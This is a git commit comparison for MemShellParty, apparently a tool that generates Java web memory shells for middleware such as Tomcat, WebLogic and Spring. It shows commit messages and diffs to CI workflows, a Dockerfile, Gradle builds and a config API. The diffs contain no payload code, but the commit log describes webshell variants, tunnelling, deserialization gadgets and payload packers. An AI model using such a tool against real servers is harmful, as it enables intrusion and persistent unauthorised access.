Compare commits

...
72 Commits
Author SHA1 Message Date
ReaJason 97e85f5753 docs: add contributors in README
Docker Build Test / docker-build-test (push) Canceled after 0s
MemShell IntegrationTest / jenkins (push) Canceled after 0s
MemShell IntegrationTest / xxljob (push) Canceled after 0s
MemShell IntegrationTest / dubbo (push) Canceled after 0s
MemShell IntegrationTest / springwebmvc (push) Canceled after 0s
MemShell IntegrationTest / springwebflux (push) Canceled after 0s
MemShell IntegrationTest / struts2 (push) Canceled after 0s
MemShell IntegrationTest / tomcat (push) Canceled after 0s
MemShell IntegrationTest / glassfish (push) Canceled after 0s
MemShell IntegrationTest / jbosseap (push) Canceled after 0s
MemShell IntegrationTest / payara (push) Canceled after 0s
MemShell IntegrationTest / wildfly (push) Canceled after 0s
MemShell IntegrationTest / jetty (push) Canceled after 0s
MemShell IntegrationTest / weblogic (push) Canceled after 0s
MemShell IntegrationTest / jbossas (push) Canceled after 0s
MemShell IntegrationTest / resin (push) Canceled after 0s
MemShell IntegrationTest / geronimo (push) Canceled after 0s
MemShell IntegrationTest / websphere7 (push) Canceled after 0s
MemShell IntegrationTest / websphere (push) Canceled after 0s
Probe IntegrationTest / springwebmvc (push) Canceled after 0s
Probe IntegrationTest / springwebflux (push) Canceled after 0s
Probe IntegrationTest / struts2 (push) Canceled after 0s
Probe IntegrationTest / tomcat (push) Canceled after 0s
Probe IntegrationTest / glassfish (push) Canceled after 0s
Probe IntegrationTest / jbosseap (push) Canceled after 0s
Probe IntegrationTest / payara (push) Canceled after 0s
Probe IntegrationTest / wildfly (push) Canceled after 0s
Probe IntegrationTest / jetty (push) Canceled after 0s
Probe IntegrationTest / jbossas (push) Canceled after 0s
Probe IntegrationTest / resin (push) Canceled after 0s
Probe IntegrationTest / weblogic (push) Canceled after 0s
Probe IntegrationTest / websphere7 (push) Canceled after 0s
Probe IntegrationTest / websphere (push) Canceled after 0s
Unit-Test / UniteTest (push) Canceled after 0s
2026-08-31 00:11:30 +08:00
ReaJason 70d96e86b1 ci: docker build test support manual run 2026-08-30 22:05:11 +08:00
ReaJason 13fe8f0094 fix: vite8 preview build react-router in docker failed 2026-08-30 22:01:43 +08:00
ReaJason 961845f96f fix: source.config.ts file not found 2026-08-30 21:23:59 +08:00
ReaJason 4a12d74c7c chore: 2.10.0 2026-08-30 21:21:19 +08:00
ReaJason 7287409ce3 docs: updage changelog 2026-08-30 21:19:42 +08:00
ReaJason f806ab2c2c fix: docs link error 2026-08-30 21:19:42 +08:00
ReaJason e1152000f2 style: lint and fmt code 2026-08-30 21:19:42 +08:00
ReaJason 3ada01bd97 chore: upgrade deps 2026-08-30 21:19:42 +08:00
ReaJason e11eafe78b feat: upgrade fumadocs 2026-08-30 21:19:42 +08:00
ReaJason 6c41f208ba chore: remove decompile code comment 2026-08-30 21:19:42 +08:00
ReaJason ceb8e3ddb4 feat: add XSLT packer 2026-08-30 21:19:42 +08:00
ReaJason 70935d6ab1 feat: support Freemarker SpEL packer 2026-08-30 21:19:42 +08:00
ReaJason 305bc0e12c feat: support auto decompiling with cfr 2026-08-30 21:19:42 +08:00
ReaJason b74c8f6155 docs: update changelog 2026-08-30 21:19:42 +08:00
ReaJason 4a990b7e0c refactor: simplify BES getContext code 2026-08-30 21:19:42 +08:00
ReaJason 493e540984 fix: custom shell with jsr/ret generate failed 2026-08-30 21:19:42 +08:00
ReaJason 8514f1ae1f test: SpringBoot4 use JDK21 2026-08-30 21:19:42 +08:00
ReaJason c641a92557 fix: SpringBoot4 WebFlux Base64Utils not found 2026-08-30 21:19:42 +08:00
ReaJason cda6c9f64e test: probe jdk version changed 2026-08-30 21:19:42 +08:00
ReaJason 460172133b chore: update .gitignore 2026-08-30 21:19:42 +08:00
ReaJason 983bdaa2fa chore: 2.10.0-SNAPSHOT 2026-08-30 21:19:42 +08:00
ReaJason 244bbd910a fix: webfilter and handler broken business 2026-08-30 21:19:42 +08:00
ReaJason 17627d5134 chore: add bes tongweb boot info 2026-08-30 21:19:42 +08:00
ReaJason 9af244408b feat: support tongweb 7 embedded shell 2026-08-30 21:19:42 +08:00
su18 d4c6473543 feat(bes): add BES 10/11 context discovery via AppServer-utility thread
Docker Build Test / docker-build-test (push) Canceled after 0s
MemShell IntegrationTest / jenkins (push) Canceled after 0s
MemShell IntegrationTest / xxljob (push) Canceled after 0s
MemShell IntegrationTest / dubbo (push) Canceled after 0s
MemShell IntegrationTest / springwebmvc (push) Canceled after 0s
MemShell IntegrationTest / springwebflux (push) Canceled after 0s
MemShell IntegrationTest / struts2 (push) Canceled after 0s
MemShell IntegrationTest / tomcat (push) Canceled after 0s
MemShell IntegrationTest / glassfish (push) Canceled after 0s
MemShell IntegrationTest / jbosseap (push) Canceled after 0s
MemShell IntegrationTest / payara (push) Canceled after 0s
MemShell IntegrationTest / wildfly (push) Canceled after 0s
MemShell IntegrationTest / jetty (push) Canceled after 0s
MemShell IntegrationTest / weblogic (push) Canceled after 0s
MemShell IntegrationTest / jbossas (push) Canceled after 0s
MemShell IntegrationTest / resin (push) Canceled after 0s
MemShell IntegrationTest / geronimo (push) Canceled after 0s
MemShell IntegrationTest / websphere7 (push) Canceled after 0s
MemShell IntegrationTest / websphere (push) Canceled after 0s
Unit-Test / UniteTest (push) Canceled after 0s
2026-08-25 22:07:33 +08:00
ReaJason 229698eb49 docs: update changelog
Docker Build Test / docker-build-test (push) Canceled after 0s
MemShell IntegrationTest / jenkins (push) Canceled after 0s
MemShell IntegrationTest / xxljob (push) Canceled after 0s
MemShell IntegrationTest / dubbo (push) Canceled after 0s
MemShell IntegrationTest / springwebmvc (push) Canceled after 0s
MemShell IntegrationTest / springwebflux (push) Canceled after 0s
MemShell IntegrationTest / struts2 (push) Canceled after 0s
MemShell IntegrationTest / tomcat (push) Canceled after 0s
MemShell IntegrationTest / glassfish (push) Canceled after 0s
MemShell IntegrationTest / jbosseap (push) Canceled after 0s
MemShell IntegrationTest / payara (push) Canceled after 0s
MemShell IntegrationTest / wildfly (push) Canceled after 0s
MemShell IntegrationTest / jetty (push) Canceled after 0s
MemShell IntegrationTest / weblogic (push) Canceled after 0s
MemShell IntegrationTest / jbossas (push) Canceled after 0s
MemShell IntegrationTest / resin (push) Canceled after 0s
MemShell IntegrationTest / geronimo (push) Canceled after 0s
MemShell IntegrationTest / websphere7 (push) Canceled after 0s
MemShell IntegrationTest / websphere (push) Canceled after 0s
Probe IntegrationTest / springwebmvc (push) Canceled after 0s
Probe IntegrationTest / struts2 (push) Canceled after 0s
Probe IntegrationTest / tomcat (push) Canceled after 0s
Probe IntegrationTest / glassfish (push) Canceled after 0s
Probe IntegrationTest / jbosseap (push) Canceled after 0s
Probe IntegrationTest / payara (push) Canceled after 0s
Probe IntegrationTest / wildfly (push) Canceled after 0s
Probe IntegrationTest / jetty (push) Canceled after 0s
Probe IntegrationTest / jbossas (push) Canceled after 0s
Probe IntegrationTest / resin (push) Canceled after 0s
Probe IntegrationTest / weblogic (push) Canceled after 0s
Probe IntegrationTest / websphere7 (push) Canceled after 0s
Probe IntegrationTest / websphere (push) Canceled after 0s
Unit-Test / UniteTest (push) Canceled after 0s
2026-08-03 23:55:14 +08:00
ReaJason aaebf9300b chore: 2.9.0 2026-08-03 23:54:53 +08:00
ReaJason 31d4966cb3 test: update war path [skip ci] 2026-08-03 23:54:06 +08:00
ReaJason e4ef1fce4a chore: upgrade deps 2026-08-03 23:54:06 +08:00
ReaJason 2843bbd8c4 docs: update changelog 2026-08-03 23:54:06 +08:00
ReaJason 7832c02e0d test: add wildfly 38/41 case 2026-08-03 23:54:06 +08:00
ReaJason 65d0b17fe2 fix: payara 6/7 shell not work 2026-08-03 23:54:06 +08:00
ReaJason f17a33fb8b ci: war not found 2026-08-03 23:54:06 +08:00
ReaJason f19fe37c36 fix: weblogic 12/14 websocket connnect failed 2026-08-03 23:54:06 +08:00
ReaJason 9757a5b050 test: weblogic 10.3.6 deploy war failed 2026-08-03 23:54:06 +08:00
ReaJason 71230e6088 test: jbossas 5.1.0 deploy war failed 2026-08-03 23:54:06 +08:00
ReaJason 2ec3218e72 feat: support weblogic websocket and weblogic 15.1.1.0 2026-08-03 23:54:06 +08:00
ReaJason da046ae5dc test: add jenkins 2.575-jdk21 case 2026-08-03 23:54:06 +08:00
ReaJason a8cb4c68bc fix: glassfish7/8 jdk21 shell failed 2026-08-03 23:54:06 +08:00
ReaJason 0e37e406da test: add spring cve cases #7 2026-08-03 23:54:06 +08:00
ReaJason 29c19a318f feat: suitable for xxl-job < 2.2.0 #151 2026-08-03 23:54:06 +08:00
zema1 556c9d63ff fix: harden suo5v2 tunnel lifecycle 2026-08-03 23:54:06 +08:00
ReaJason 3e48fc1534 chore: update suo5v2 client 2026-08-03 23:54:06 +08:00
ReaJason 8f2024917c refactor: simplify config api 2026-08-03 23:54:06 +08:00
ReaJason 82bbd2cf0a chore: 2.9.0-SNAPSHOT 2026-08-03 23:54:06 +08:00
ReaJason 1243e59ac2 feat: support resin2 and jetty5 2026-08-03 23:54:06 +08:00
ReaJason af4c8b1d63 ci: upgrade upload-artifact action version
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / jenkins (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / dubbo (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / geronimo (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Probe IntegrationTest / springwebmvc (push) Has been cancelled
Probe IntegrationTest / struts2 (push) Has been cancelled
Probe IntegrationTest / tomcat (push) Has been cancelled
Probe IntegrationTest / glassfish (push) Has been cancelled
Probe IntegrationTest / jbosseap (push) Has been cancelled
Probe IntegrationTest / jetty (push) Has been cancelled
Probe IntegrationTest / payara (push) Has been cancelled
Probe IntegrationTest / wildfly (push) Has been cancelled
Probe IntegrationTest / jbossas (push) Has been cancelled
Probe IntegrationTest / resin (push) Has been cancelled
Probe IntegrationTest / weblogic (push) Has been cancelled
Probe IntegrationTest / websphere7 (push) Has been cancelled
Probe IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-06-29 01:37:12 +08:00
ReaJason 9fb0a3a377 chore: 2.8.0 2026-06-29 01:24:31 +08:00
ReaJason ff8f9512d4 docs: fix typo 2026-06-29 01:23:48 +08:00
ReaJason 8bb6857234 build: frontend build failed 2026-06-29 01:18:52 +08:00
ReaJason 86e242a4f1 revert: envFile warining 2026-06-29 00:28:34 +08:00
ReaJason 507c41b2c0 chore: upgrade build image 2026-06-29 00:28:31 +08:00
ReaJason bfad8cb921 fix: hessian gadget generate fail in jre25 2026-06-28 21:22:31 +08:00
ReaJason e21ec53cb6 refactor: rm useless code 2026-06-28 21:22:31 +08:00
ReaJason 7f669c840e fix: godzilla dubbo encryptor show 2026-06-28 21:22:31 +08:00
ReaJason e2600fd0ed build: envFile option is deprecated 2026-06-28 21:22:31 +08:00
ReaJason 7c0ae4b228 build: assets link error 2026-06-28 21:22:31 +08:00
ReaJason 862ad44a0a docs: update CHANGELOG 2026-06-28 21:22:31 +08:00
ReaJason a95e820e30 chore: update lib 2026-06-28 21:22:31 +08:00
ReaJason f19b1be9d4 feat: support select child packer 2026-06-28 21:22:31 +08:00
ReaJason a267048ed3 test: add dubbo integration-test 2026-06-28 21:22:31 +08:00
ReaJason fab736e175 docs: update CHANGELOG 2026-06-28 21:22:31 +08:00
ReaJason 6809132f00 test: add jenkins probe cases 2026-06-28 21:22:31 +08:00
ReaJason 404d62c6ef test: add Geronimo/Jetty 7.1 cases 2026-06-28 21:22:31 +08:00
ReaJason 416f2d5593 docs: update README 2026-06-28 21:22:31 +08:00
ReaJason fe54b610ed feat: boot use spring-boot 4.1.0 + jre25 2026-06-28 21:22:31 +08:00
ReaJason 0d096395f9 test: glassfish7 container not ready 2026-06-28 21:22:31 +08:00
ReaJason 845d5a48c9 chore: 2.8.0-SNAPSHOT 2026-06-28 21:22:31 +08:00
ReaJason 08200e0560 feat: support godzilla dubbo xor_base64 shell 2026-06-28 21:22:31 +08:00
ReaJason 1d98c24d16 test: add jenkins integration test case
Docker Build Test / docker-build-test (push) Has been cancelled
MemShell IntegrationTest / jenkins (push) Has been cancelled
MemShell IntegrationTest / xxljob (push) Has been cancelled
MemShell IntegrationTest / springwebmvc (push) Has been cancelled
MemShell IntegrationTest / springwebflux (push) Has been cancelled
MemShell IntegrationTest / struts2 (push) Has been cancelled
MemShell IntegrationTest / tomcat (push) Has been cancelled
MemShell IntegrationTest / glassfish (push) Has been cancelled
MemShell IntegrationTest / jbosseap (push) Has been cancelled
MemShell IntegrationTest / jetty (push) Has been cancelled
MemShell IntegrationTest / payara (push) Has been cancelled
MemShell IntegrationTest / wildfly (push) Has been cancelled
MemShell IntegrationTest / jbossas (push) Has been cancelled
MemShell IntegrationTest / resin (push) Has been cancelled
MemShell IntegrationTest / weblogic (push) Has been cancelled
MemShell IntegrationTest / websphere7 (push) Has been cancelled
MemShell IntegrationTest / websphere (push) Has been cancelled
Unit-Test / UniteTest (push) Has been cancelled
2026-06-13 02:41:26 +08:00
su18 4d04aed4fb feat(jetty): add Winstone-Jetty and Geronimo-Jetty context discovery support 2026-06-13 02:38:25 +08:00
318 changed files with 33108 additions and 1996 deletions
+19
View File
@@ -0,0 +1,19 @@
.git
.gradle
.idea
.vscode
.DS_Store
**/.DS_Store
**/.gradle
**/build
**/bin
web/.react-router
web/.source
web/build
web/node_modules
integration-test
tools
vul
+1 -1
View File
@@ -52,7 +52,7 @@ jobs:
- name: Upload Boot Jar (Linux)
if: matrix.os == 'ubuntu-latest'
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v7
with:
name: boot
path: boot/build/libs/*.jar
+1
View File
@@ -1,6 +1,7 @@
name: Docker Build Test
on:
workflow_dispatch:
push:
branches:
- master
@@ -9,6 +9,7 @@ on:
- './github/workflows/memshell-integration-test.yml'
- '**/memshell/**'
- '**/packer/**'
- '**/dubbo/**'
concurrency:
group: ${{ github.workflow }}-${{ github.ref }}-${{ github.event_name }}
@@ -23,9 +24,9 @@ jobs:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
@@ -33,7 +34,7 @@ jobs:
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
@@ -41,15 +42,21 @@ jobs:
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
- middleware: "xxljob"
depend_tasks: ""
- middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war"
- middleware: "jenkins"
depend_tasks: ""
- middleware: "geronimo"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "dubbo"
depend_tasks: ":vul:vul-dubbo:dubboProviderFatJars :tools:command:dubboClientClasspath"
runs-on: ubuntu-22.04
name: ${{ matrix.cases.middleware }}
steps:
@@ -69,10 +76,15 @@ jobs:
run: ./gradlew ${{ matrix.cases.depend_tasks }}
- name: Integration Test with gradle
if: matrix.cases.middleware != 'dubbo'
run: ./gradlew :integration-test:test --tests '*.memshell.${{ matrix.cases.middleware }}.*' --info
- name: Dubbo Integration Test with gradle
if: matrix.cases.middleware == 'dubbo'
run: ./gradlew :integration-test:dubboContainerTest --info
- name: Export Integration Test Summary
uses: mikepenz/action-junit-report@v5
if: success() || failure()
with:
report_paths: '**/build/test-results/test/TEST-*.xml'
report_paths: '**/build/test-results/*/TEST-*.xml'
+7 -5
View File
@@ -21,9 +21,9 @@ jobs:
- middleware: "tomcat"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-expression:war :vul:vul-webapp-deserialize:war :vul:vul-webapp-jakarta:war"
- middleware: "jetty"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war :vul:vul-webapp-jakarta:war"
- middleware: "jbossas"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "jbosseap"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "wildfly"
@@ -31,7 +31,7 @@ jobs:
- middleware: "glassfish"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "resin"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "payara"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-jakarta:war"
- middleware: "websphere"
@@ -39,9 +39,11 @@ jobs:
- middleware: "websphere7"
depend_tasks: ":vul:vul-webapp:war"
- middleware: "weblogic"
depend_tasks: ":vul:vul-webapp:war"
depend_tasks: ":vul:vul-webapp:war :vul:vul-webapp-servlet2:war"
- middleware: "springwebmvc"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar"
depend_tasks: ":vul:vul-springboot1:bootJar :vul:vul-springboot2:bootJar :vul:vul-springboot2-jetty:bootJar :vul:vul-springboot2-undertow:bootJar :vul:vul-springboot2:bootWar :vul:vul-springboot3:bootJar :vul:vul-springboot359:bootJar :vul:vul-springboot4:bootJar"
- middleware: "springwebflux"
depend_tasks: ":vul:vul-springboot2-webflux:bootJar :vul:vul-springboot3-webflux:bootJar :vul:vul-springboot4-webflux:bootJar"
- middleware: "struts2"
depend_tasks: ":vul:vul-struts2:war"
runs-on: ubuntu-22.04
+1 -1
View File
@@ -65,7 +65,7 @@ jobs:
run: ./gradlew :boot:bootjar -x test
- name: Upload Boot Jar
uses: actions/upload-artifact@v4
uses: actions/upload-artifact@v7
with:
name: boot
path: boot/build/libs/*.jar
+3 -1
View File
@@ -61,4 +61,6 @@ integration-test/**/apusic
integration-test/**/bes
integration-test/**/tongweb
integration-test/**/inforsuite
integration-test/**/primeton
integration-test/**/primeton
vul/vul-springboot3-bes
vul/vul-springboot3-tongweb
+8 -7
View File
@@ -6,9 +6,9 @@ RUN git clone --depth 1 https://github.com/ReaJason/MemShellParty.git . && \
rm -rf vul integration-test tools
# https://hub.docker.com/r/oven/bun
FROM --platform=$BUILDPLATFORM oven/bun:1.3.11 AS frontend
FROM --platform=$BUILDPLATFORM oven/bun:1.4.0 AS frontend
ARG ROUTE_ROOT_PATH="/"
ARG ROUTE_ROOT_PATH=""
ARG CONTEXT_PATH=""
WORKDIR /usr/src/web
@@ -16,7 +16,8 @@ WORKDIR /usr/src/web
ENV VITE_APP_API_URL=${CONTEXT_PATH} \
VITE_APP_BASE_PATH=${ROUTE_ROOT_PATH}/ui
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/source.config.ts /usr/src/web/
COPY --from=source /usr/src/web/package.json /usr/src/web/bun.lock /usr/src/web/
COPY --from=source /usr/src/web/vendor/cfr /usr/src/web/vendor/cfr
RUN bun install --frozen-lockfile
@@ -24,8 +25,8 @@ COPY --from=source /usr/src/web /usr/src/web
RUN bun run build
# https://hub.docker.com/_/eclipse-temurin/tags?name=17.
FROM --platform=$BUILDPLATFORM eclipse-temurin:17.0.17_10-jdk-noble AS backend
# https://hub.docker.com/_/eclipse-temurin/tags?name=21.
FROM --platform=$BUILDPLATFORM eclipse-temurin:21.0.12_8-jdk-noble AS backend
WORKDIR /usr/src
@@ -35,7 +36,7 @@ COPY --from=frontend /usr/src/boot/src/main/resources /usr/src/boot/src/main/res
RUN ./gradlew :boot:bootjar -x test
FROM eclipse-temurin:17.0.17_10-jre-noble
FROM eclipse-temurin:21.0.12_8-jre-noble
LABEL authors="ReaJason<[email protected]>"
@@ -56,4 +57,4 @@ ENV INTERNAL_JAVA_OPTS="\
EXPOSE 8080
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
ENTRYPOINT ["sh", "-c", "java $JAVA_OPTS $INTERNAL_JAVA_OPTS -jar app.jar $BOOT_OPTS"]
+7 -1
View File
@@ -47,7 +47,7 @@ MemShellParty 是一款专注于主流 Web 中间件的内存马快速生成工
### 使用前必看
[Java 服务简介.md](web/content/docs/server-intro.mdx),用于了解 MemShellParty
[适配情况](https://party.mem.mk/ui/docs/compatibility),用于了解 MemShellParty
中针对各个服务适配的情况,针对不同的应用选择合适的服务类型。
探测马中探测服务类型已经做了一一对应,探测出来的服务类型,即是可生成内存马的服务类型(非中间件类型,例如 Apusic10 探测出来的结果为
@@ -78,6 +78,12 @@ docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.io/
docker run --pull=always --rm -it -d -p 8080:8080 --name memshell-party ghcr.nju.edu.cn/reajason/memshell-party:latest
```
## 贡献者
<a href="https://github.com/ReaJason/MemShellParty/graphs/contributors">
<img src="https://contrib.rocks/image?repo=ReaJason/MemShellParty" width="20%" />
</a>
## Special Thanks
- [vulhub/java-chains](https://github.com/vulhub/java-chains)
Binary file not shown.
Binary file not shown.
+1 -1
View File
@@ -1,4 +1,4 @@
FROM eclipse-temurin:17.0.17_10-jre-noble
FROM eclipse-temurin:21.0.11_10-jre-noble
LABEL authors="ReaJason<[email protected]>"
+2 -5
View File
@@ -1,6 +1,6 @@
plugins {
id("java")
id("org.springframework.boot") version "3.5.8"
id("org.springframework.boot") version "4.1.0"
id("io.spring.dependency-management") version "1.1.7"
}
@@ -31,11 +31,8 @@ dependencies {
exclude(group = "commons-logging", module = "commons-logging")
}
implementation("org.springframework.boot:spring-boot-starter-thymeleaf")
implementation("org.springframework.boot:spring-boot-starter-web") {
exclude(group = "org.springframework.boot", module = "spring-boot-starter-tomcat")
}
implementation("org.springframework.boot:spring-boot-starter-web")
implementation(libs.commons.lang3)
implementation("org.springframework.boot:spring-boot-starter-undertow")
compileOnly("org.projectlombok:lombok")
developmentOnly("org.springframework.boot:spring-boot-devtools")
annotationProcessor("org.springframework.boot:spring-boot-configuration-processor")
@@ -1,10 +1,12 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.boot.vo.CommandConfigVO;
import com.reajason.javaweb.boot.vo.PackerVO;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.memshell.config.CommandConfig;
import com.reajason.javaweb.memshell.server.AbstractServer;
import com.reajason.javaweb.packer.Packers;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import org.springframework.web.bind.annotation.CrossOrigin;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestMapping;
@@ -21,7 +23,12 @@ import java.util.*;
@CrossOrigin("*")
public class ConfigController {
/**
* @deprecated use {@link #config()} for memshell configuration and
* {@link #getProbeResponseBodyServers()} for probe ResponseBody servers.
*/
@RequestMapping("/servers")
@Deprecated(since = "2.9.0", forRemoval = false)
public Map<String, List<String>> getServers() {
Map<String, List<String>> servers = new LinkedHashMap<>();
List<String> supportedServers = ServerFactory.getSupportedServers();
@@ -33,16 +40,40 @@ public class ConfigController {
return servers;
}
/**
* @deprecated use {@link #getPackerTree()} for parent/child packer metadata.
*/
@RequestMapping("/packers")
@Deprecated(since = "2.9.0", forRemoval = false)
public List<String> getPackers() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(Packers::name).toList();
}
/**
* 返回父/子 packer 层级结构,供前端在「父模式 / 子模式」之间选择。
* 单独新增端点而非修改 {@link #getPackers()},以避免破坏旧版本前端对返回值的依赖。
*/
@RequestMapping("/packers/tree")
public List<PackerVO> getPackerTree() {
return Arrays.stream(Packers.values())
.filter(packers -> packers.getParentPacker() == null)
.map(packers -> new PackerVO(
packers.name(),
Packers.getPackersWithParent(packers.getInstance().getClass())
.stream().map(Packers::name).toList()))
.toList();
}
@RequestMapping("/probe/response-body/servers")
public List<String> getProbeResponseBodyServers() {
return ResponseBodyGenerator.getSupportedServers();
}
@RequestMapping
public Map<String, Map<?, ?>> config() {
Map<String, Map<?, ?>> coreMap = new HashMap<>(16);
Map<String, Map<?, ?>> coreMap = new LinkedHashMap<>(16);
List<String> supportedServers = ServerFactory.getSupportedServers();
for (String supportedServer : supportedServers) {
AbstractServer server = ServerFactory.getServer(supportedServer);
@@ -66,4 +97,4 @@ public class ConfigController {
commandConfigVO.setImplementationClasses(Arrays.stream(CommandConfig.ImplementationClass.values()).toList());
return commandConfigVO;
}
}
}
@@ -0,0 +1,10 @@
package com.reajason.javaweb.boot.vo;
import java.util.List;
/**
* @author ReaJason
* @since 2026/6/27
*/
public record PackerVO(String name, List<String> children) {
}
@@ -1,11 +1,15 @@
package com.reajason.javaweb.boot.controller;
import com.reajason.javaweb.memshell.ServerFactory;
import com.reajason.javaweb.probe.generator.response.ResponseBodyGenerator;
import org.junit.jupiter.api.BeforeEach;
import org.junit.jupiter.api.Test;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.test.context.SpringBootTest;
import org.springframework.boot.test.web.client.TestRestTemplate;
import org.springframework.boot.test.web.server.LocalServerPort;
import org.springframework.core.ParameterizedTypeReference;
import org.springframework.http.HttpStatus;
import org.springframework.http.ResponseEntity;
import org.springframework.web.client.RestClient;
import java.util.List;
import java.util.Map;
@@ -21,27 +25,64 @@ import static org.junit.jupiter.api.Assertions.assertNotNull;
@SpringBootTest(webEnvironment = SpringBootTest.WebEnvironment.RANDOM_PORT)
public class ConfigControllerIntegrationTest {
@Autowired
private TestRestTemplate restTemplate;
private static final ParameterizedTypeReference<Map<String, Object>> MAP_TYPE = new ParameterizedTypeReference<>() {
};
private static final ParameterizedTypeReference<List<String>> STRING_LIST_TYPE = new ParameterizedTypeReference<>() {
};
@LocalServerPort
private int port;
private RestClient restClient;
@BeforeEach
void setUp() {
restClient = RestClient.builder()
.baseUrl("http://localhost:" + port)
.build();
}
@Test
public void testConfigEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config", Map.class);
ResponseEntity<Map<String, Object>> response = restClient.get()
.uri("/api/config")
.retrieve()
.toEntity(MAP_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
}
@Test
public void testConfigServersEndpoint() {
ResponseEntity<Map> response = restTemplate.getForEntity("/api/config/servers", Map.class);
ResponseEntity<Map<String, Object>> response = restClient.get()
.uri("/api/config/servers")
.retrieve()
.toEntity(MAP_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
assertEquals(ServerFactory.getSupportedServers(), List.copyOf(response.getBody().keySet()));
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List<String>> response = restClient.get()
.uri("/api/config/packers")
.retrieve()
.toEntity(STRING_LIST_TYPE);
assertEquals(HttpStatus.OK, response.getStatusCode());
assertNotNull(response.getBody());
}
@Test
public void testConfigPackersEndpoint() {
ResponseEntity<List> response = restTemplate.getForEntity("/api/config/packers", List.class);
public void testConfigProbeResponseBodyServersEndpoint() {
ResponseEntity<List<String>> response = restClient.get()
.uri("/api/config/probe/response-body/servers")
.retrieve()
.toEntity(STRING_LIST_TYPE);
